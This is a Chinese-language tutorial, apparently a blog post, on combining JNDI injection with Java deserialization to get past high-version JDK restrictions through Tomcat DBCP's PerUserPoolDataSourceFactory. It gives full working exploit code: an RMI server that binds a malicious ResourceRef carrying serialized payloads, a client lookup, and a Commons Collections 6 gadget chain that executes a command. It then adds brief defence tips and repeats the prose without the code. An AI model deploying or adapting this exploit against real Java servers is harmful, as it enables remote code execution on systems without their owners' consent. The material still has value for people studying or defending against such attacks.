jndi +反序列化攻击绕过 jdk 限制技术学习
字数 1776 2025-08-23 18:31:18

JNDI + 反序列化攻击绕过 JDK 限制技术分析

前言

本文详细分析了一种利用 JNDI 注入结合反序列化漏洞绕过高版本 JDK 限制的攻击技术。该技术通过特定的工厂类 PerUserPoolDataSourceFactory 实现,能够在 JDK 高版本环境下成功执行任意代码。

技术背景

高版本 JDK 对 JNDI 注入攻击进行了多项防护措施,包括:

  • 限制远程类加载
  • 禁止从远程加载 ObjectFactory 类
  • 对 LDAP/RMI 引用进行严格检查

传统 JNDI 注入攻击在这些限制下难以成功,因此需要寻找新的攻击面。

关键类分析

PerUserPoolDataSourceFactory 类

该类位于 org.apache.tomcat.dbcp.dbcp2.datasources 包中,是攻击的核心。关键方法分析如下:

getNewInstance 方法

protected InstanceKeyDataSource getNewInstance(Reference ref) throws IOException, ClassNotFoundException {
    PerUserPoolDataSource pupds = new PerUserPoolDataSource();
    // 多个属性处理逻辑...
    ra = ref.get("perUserDefaultAutoCommit");
    byte[] serialized;
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[]) ra.getContent());
        pupds.setPerUserDefaultAutoCommit((Map) deserialize(serialized));
    }
    // 其他类似属性处理...
    return pupds;
}

该方法的关键点在于:

  1. 从 Reference 对象中读取多个属性
  2. 对特定属性(如 perUserDefaultAutoCommit)调用 deserialize 方法进行反序列化
  3. 反序列化后的对象被强制转换为 Map 类型并设置到目标对象中

deserialize 方法

protected static final Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
    ObjectInputStream in = null;
    Object var2;
    try {
        in = new ObjectInputStream(new ByteArrayInputStream(data));
        var2 = in.readObject();
    } finally {
        if (in != null) {
            try {
                in.close();
            } catch (IOException var9) {
            }
        }
    }
    return var2;
}

该方法直接使用 ObjectInputStream 对传入的字节数组进行反序列化,没有任何防护措施,是攻击的入口点。

getObjectInstance 方法

public Object getObjectInstance(Object refObj, Name name, Context context, Hashtable<?, ?> env) 
    throws IOException, ClassNotFoundException {
    Object obj = null;
    if (refObj instanceof Reference) {
        Reference ref = (Reference) refObj;
        if (this.isCorrectClass(ref.getClassName())) {
            RefAddr refAddr = ref.get("instanceKey");
            if (refAddr != null && refAddr.getContent() != null) {
                obj = instanceMap.get(refAddr.getContent());
            } else {
                String key = null;
                if (name != null) {
                    key = name.toString();
                    obj = instanceMap.get(key);
                }
                if (obj == null) {
                    InstanceKeyDataSource ds = this.getNewInstance(ref);
                    this.setCommonProperties(ref, ds);
                    obj = ds;
                    if (key != null) {
                        instanceMap.put(key, ds);
                    }
                }
            }
        }
    }
    return obj;
}

该方法的关键点:

  1. 检查传入的 refObj 是否为 Reference 类型
  2. 通过 isCorrectClass 方法验证类名
  3. 最终调用 getNewInstance 方法

isCorrectClass 方法

protected boolean isCorrectClass(String className) {
    return PER_USER_POOL_CLASSNAME.equals(className);
}
private static final String PER_USER_POOL_CLASSNAME = PerUserPoolDataSource.class.getName();

该方法要求传入的类名必须为 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource

攻击构造

攻击流程

  1. 构造恶意的序列化数据(如 Commons Collections 6 链)
  2. 创建 ResourceRef 对象,设置正确的类名和工厂类
  3. 将恶意序列化数据作为特定属性(如 perUserDefaultAutoCommit)添加到 ResourceRef
  4. 通过 RMI 或 LDAP 服务发布该引用
  5. 诱导目标访问该服务

完整攻击代码示例

服务端代码

public class RMI_Server_ByPass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(8888);
        ResourceRef resourceRef = deser();
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("deser", referenceWrapper);
        System.out.println("Registry运行中......");
    }

    private static ResourceRef deser() throws IOException {
        ResourceRef ref = new ResourceRef(
            "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource", 
            null, "", "", true,
            "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory", 
            null);
        
        // 添加多个可触发反序列化的属性
        ref.add(new BinaryRefAddr("perUserDefaultAutoCommit", 
            Files.readAllBytes(Paths.get("1.bin"))));
        ref.add(new BinaryRefAddr("perUserDefaultTransactionIsolation", 
            Files.readAllBytes(Paths.get("1.bin"))));
        ref.add(new BinaryRefAddr("perUserMaxTotal", 
            Files.readAllBytes(Paths.get("1.bin"))));
        // 可以添加更多属性...
        
        return ref;
    }
}

客户端代码

public class RMI_Cilent_ByPass {
    public static void main(String[] args) throws Exception {
        String string = "rmi://localhost:8888/deser";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

恶意序列化数据生成(CC6 链)

public class CC6 {
    public static void main(String[] args) throws Exception {
        // 无害的Transformer数组
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        
        // 实际执行的Transformer数组
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        
        // 替换为真正的transformers
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        
        serialize2(expMap);
    }
    
    public static void serialize2(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
        oos.writeObject(obj);
    }
}

技术要点

  1. 类名要求:必须使用 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource 作为类名
  2. 工厂类指定:必须指定工厂类为 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory
  3. 反序列化触发点:可以通过多个属性触发反序列化,包括:
    • perUserDefaultAutoCommit
    • perUserDefaultTransactionIsolation
    • perUserMaxTotal
    • perUserMaxIdle
    • perUserMaxWaitMillis
    • perUserDefaultReadOnly
  4. 序列化数据:可以使用各种反序列化链(如 Commons Collections 链)构造恶意数据

防御建议

  1. 升级相关组件到最新版本
  2. 限制 JNDI 查找的可信来源
  3. 使用安全管理器限制反序列化操作
  4. 监控和过滤可疑的 JNDI 请求
  5. 使用 -Dcom.sun.jndi.object.trustURLCodebase=false 参数禁用远程代码加载

扩展思考

  1. 其他类似的工厂类可能存在相同的安全问题
  2. 可以探索更多反序列化链的组合使用
  3. 在不同中间件环境下该技术的适用性需要进一步测试
  4. 结合其他漏洞(如 SSRF)可以扩大攻击面

总结

本文详细分析了一种利用 JNDI 注入结合反序列化漏洞绕过高版本 JDK 限制的攻击技术。通过特定的工厂类 PerUserPoolDataSourceFactory 及其反序列化方法,攻击者可以在受限环境下实现任意代码执行。防御方面需要综合采取多种措施,包括组件升级、配置加固和运行时监控等。

JNDI + 反序列化攻击绕过 JDK 限制技术分析 前言 本文详细分析了一种利用 JNDI 注入结合反序列化漏洞绕过高版本 JDK 限制的攻击技术。该技术通过特定的工厂类 PerUserPoolDataSourceFactory 实现,能够在 JDK 高版本环境下成功执行任意代码。 技术背景 高版本 JDK 对 JNDI 注入攻击进行了多项防护措施,包括: 限制远程类加载 禁止从远程加载 ObjectFactory 类 对 LDAP/RMI 引用进行严格检查 传统 JNDI 注入攻击在这些限制下难以成功,因此需要寻找新的攻击面。 关键类分析 PerUserPoolDataSourceFactory 类 该类位于 org.apache.tomcat.dbcp.dbcp2.datasources 包中,是攻击的核心。关键方法分析如下: getNewInstance 方法 该方法的关键点在于: 从 Reference 对象中读取多个属性 对特定属性(如 perUserDefaultAutoCommit )调用 deserialize 方法进行反序列化 反序列化后的对象被强制转换为 Map 类型并设置到目标对象中 deserialize 方法 该方法直接使用 ObjectInputStream 对传入的字节数组进行反序列化,没有任何防护措施,是攻击的入口点。 getObjectInstance 方法 该方法的关键点: 检查传入的 refObj 是否为 Reference 类型 通过 isCorrectClass 方法验证类名 最终调用 getNewInstance 方法 isCorrectClass 方法 该方法要求传入的类名必须为 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource 。 攻击构造 攻击流程 构造恶意的序列化数据(如 Commons Collections 6 链) 创建 ResourceRef 对象,设置正确的类名和工厂类 将恶意序列化数据作为特定属性(如 perUserDefaultAutoCommit )添加到 ResourceRef 中 通过 RMI 或 LDAP 服务发布该引用 诱导目标访问该服务 完整攻击代码示例 服务端代码 客户端代码 恶意序列化数据生成(CC6 链) 技术要点 类名要求 :必须使用 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource 作为类名 工厂类指定 :必须指定工厂类为 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory 反序列化触发点 :可以通过多个属性触发反序列化,包括: perUserDefaultAutoCommit perUserDefaultTransactionIsolation perUserMaxTotal perUserMaxIdle perUserMaxWaitMillis perUserDefaultReadOnly 序列化数据 :可以使用各种反序列化链(如 Commons Collections 链)构造恶意数据 防御建议 升级相关组件到最新版本 限制 JNDI 查找的可信来源 使用安全管理器限制反序列化操作 监控和过滤可疑的 JNDI 请求 使用 -Dcom.sun.jndi.object.trustURLCodebase=false 参数禁用远程代码加载 扩展思考 其他类似的工厂类可能存在相同的安全问题 可以探索更多反序列化链的组合使用 在不同中间件环境下该技术的适用性需要进一步测试 结合其他漏洞(如 SSRF)可以扩大攻击面 总结 本文详细分析了一种利用 JNDI 注入结合反序列化漏洞绕过高版本 JDK 限制的攻击技术。通过特定的工厂类 PerUserPoolDataSourceFactory 及其反序列化方法,攻击者可以在受限环境下实现任意代码执行。防御方面需要综合采取多种措施,包括组件升级、配置加固和运行时监控等。